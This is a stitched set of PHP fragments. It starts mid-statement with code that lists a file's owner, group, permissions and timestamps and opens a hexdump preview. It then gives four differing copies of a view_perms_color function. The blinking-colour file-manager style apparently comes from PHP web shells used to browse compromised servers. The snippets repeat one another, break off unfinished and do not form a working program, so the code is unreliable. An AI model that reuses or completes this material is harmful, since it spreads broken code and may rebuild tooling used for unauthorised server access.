echo fileowner($d . $f) . " "; } else { echo $tmp['name'] . " "; } $tmp = posix_getgrgid(filegroup($d . $f)); if (!isset($tmp['name']) || $tmp['name'] == "") { echo filegroup($d . $f); } else { echo $tmp['name']; } } echo "<tr class=tr><td><b>Perms</b></td><td>"; if (is_writable($d . $f)) { echo "<font color=\"green\">" . view_perms(fileperms($d . $f)) . "</font>"; } else { echo "<font>" . view_perms(fileperms($d . $f)) . "</font>"; } echo "</td></tr>"; echo "<tr class=tr><td><b>Create time</b></td><td> " . date("d/m/Y H:i:s", filectime($d . $f)) . "</td></tr>"; echo "<tr class=tr><td><b>Access time</b></td><td> " . date("d/m/Y H:i:s", fileatime($d . $f)) . "</td></tr>"; echo "<tr class=tr><td><b>MODIFY time</b></td><td> " . date("d/m/Y H:i:s", filemtime($d . $f)) . "</td></tr>"; echo "</table><br>"; $fi = fopen($d . $f, "rb"); if ($fi) { if ($fullhexdump) { echo "<b>FULL HEXDUMP</b>"; $str = fread($fi, filesize($d . $f)); } else { echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi, $hexdump_lines * $hexdump_rows); }
function view_perms_color($o) { if (!is_readable($o)) { return "<font color=red>" . view_perms(fileperms($o)) . "</font>"; } elseif (!is_writable($o)) { return "<font color=white>" . view_perms(fileperms($o)) . "</font>"; } else { return "<font color=green>" . view_perms(fileperms($o)) . "</font>"; } }
function view_perms_color($o) { if (!is_readable($o)) { return "<blink><font color='red'>" . view_perms(fileperms($o)) . "</font></blink>"; } elseif (!is_writable($o)) { return "<blink><font color='white'>" . view_perms(fileperms($o)) . "</font></blink> <small>(read-only)</small>"; } else { return "<font color='#00FF00'>" . view_perms(fileperms($o)) . "</font>"; } }
function view_perms_color($o) { if (!is_readable($o)) { return "<font color=\"red\">" . view_perms(fileperms($o)) . "</font>"; } elseif (!is_writable($o)) { return "<font color=\"white\">" . view_perms(fileperms($o)) . "</font>"; } else { return "<font color=\"green\">" . view_perms(fileperms($o)) . "</font>"; } }
/** * @param $o * * @return string */ private function view_perms_color($o) { if (!is_readable($o)) { $ret = '<span class="no">' . view_perms(@fileperms($o)) . '</span>'; } elseif (!is_writable($o)) { $ret = '<span>' . view_perms(@fileperms($o)) . '</span>'; } else { $ret = '<span class="ok">' . view_perms(@fileperms($o)) . '</span>'; } return $ret; }